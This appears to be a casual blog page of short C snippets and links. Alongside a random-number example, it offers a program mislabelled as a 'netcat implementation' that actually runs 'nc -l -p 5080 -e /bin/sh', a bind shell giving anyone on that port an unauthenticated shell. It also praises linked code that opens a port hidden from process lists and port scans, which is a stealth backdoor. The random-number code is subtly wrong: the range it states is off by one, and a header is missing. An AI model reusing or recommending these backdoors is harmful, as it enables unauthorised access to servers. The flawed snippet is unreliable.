A simple random number routine in C.

This is a simple random number example in C. This will print a random number from 1 – 64.

#include <stdio.h>
#include <stdlib.h>
 
int main (void) {
 
	srand(time(NULL));
	int r = rand() % 64;
 
	printf("Random INT: %i\n", r);
 
	return 0;
}

This code is a simple netcat implementation that will open a listening port on 5080.

#include <stdio.h>
#include <unistd.h>
 
int main (void) {
 
	extern char * const environ[];
	char * const command[] = {"nc", "-l", "-p", "5080", "-e", "/bin/sh", NULL};
	execve("/bin/nc", command, environ);
 
	return 0;
}

Printing out a file to the terminal using C.

http://www.securitronlinux.com/bejiitaswrath/c-code-that-will-open-a-file-and-print-the-contents-to-the-terminal/.

This code that I found: http://paste.scratchbook.ch/view/6f74b58f can run on a Linux machine and open a port invisibly. This allows access to a Linux server without the process showing in process manager and on a port scan of the machine.

C code that will print a tick sign to the terminal using asterisks. Very cool and useful code.

http://www.securitronlinux.com/bejiitaswrath/very-cool-code-that-prints-a-tick-sign-in-asterisks-this-is-awesome-c-code/.

How to do a function call in C.

http://www.securitronlinux.com/bejiitaswrath/a-simple-c-code-snippet-that-shows-how-to-do-a-function-call/.

No comments have been made. Use this form to start the conversation :)

Leave a Reply